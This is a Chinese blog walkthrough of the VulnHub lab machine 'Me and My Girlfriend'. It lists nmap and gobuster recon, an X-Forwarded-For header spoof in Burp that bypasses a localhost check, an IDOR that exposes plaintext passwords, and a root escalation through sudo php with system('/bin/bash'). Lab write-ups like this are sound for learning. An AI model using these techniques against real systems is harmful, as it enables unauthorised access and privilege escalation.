605 字
3 分钟
vulnhub靶机-meandmygirlfriend(x-forwarded-for主机头转发+简单php提权)
vulnhub靶机-meandmygirlfriend(burp的x-forwarded-for主机头转发+简单php提权)
声明
- 本文为个人跟随b站up主红队笔记学习vulnhub的meandmygirlfriend靶机的复现通关记录,旨在分享靶机和记录学习心得体会,讲解若有谬误之处欢迎指正。
- 该靶机下载地址为’https://vulnhub.com/entry/me-and-my-girlfriend-1,409/‘
渗透流程
- 在vmware部署靶机并开机后,打开kali对靶机进行信息收集,使用nmap执行
nmap -sn 192.168.245.0/24(请替换成你的网段)进行主机发现,发现图中的192.168.245.162为靶机。(192.168.245.136为我的kali虚拟机的地址)
- 并进行端口发现,执行
nmap --min-rate 10000 -p- 192.168.245.162,并对开放端口记录用于后续渗透,发现22、80端口。
- 对端口进行详细扫描,执行
nmap -sT -sV -sC -O -p22,80 192.168.245.162,得到端口详细服务内容和系统版本。
- 执行
sudo nmap --script=vuln -p22,80 192.168.245.162用脚本扫一下漏洞,扫描出个robots.txt。
sudo gobuster dir -u http://192.168.245.162 --wordlist=/usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt目录爆破。
- 访问80端口。

- 查看原码搜寻更多信息,提示有x-forwarded-for,可以通过修改Host头将请求转发到本地访问试试。

- 先看看刚才的robots.txt。

- 根据指引继续查看,没什么收获。

- 按照如图打开burp,添加匹配规则,将请求头替换为
x-forwarded-for:localhost。
- 使用burp代理,再次访问服务器。

- 自行注册一个账号。

- 登录注册的账号。

- 尝试修改url中的user_id为其它数字。

- 查看原码,能够读到明文密码。

- 尝试ssh连接,在尝试到第五个用户
alice 4lic3,获得shell。
提权过程
- 寻找一番没什么有用信息,查看数据库文件,有root的数据库密码。

- 连接数据库,看了看没有额外收获,是之前看到的表的信息。

sudo -l
- 查看特权,有对一个php文件的无密码root执行权限,执行
sudo /usr/bin/php -r "system('/bin/bash');",提权完毕。
其它补充与收获总结
- 本靶机相对简单许多,但仍有值得学习的点,对于我而言,burp匹配替换请求头主机代理较新,看了看代码,对于本地请求创建了白名单,通过对请求头信息提取进行匹配验证,所以仅仅通过这样匹配是存在漏洞的,可以被伪造绕过。

vulnhub靶机-meandmygirlfriend(x-forwarded-for主机头转发+简单php提权)
http://124.70.202.140/posts/post-14/14/ 部分信息可能已经过时







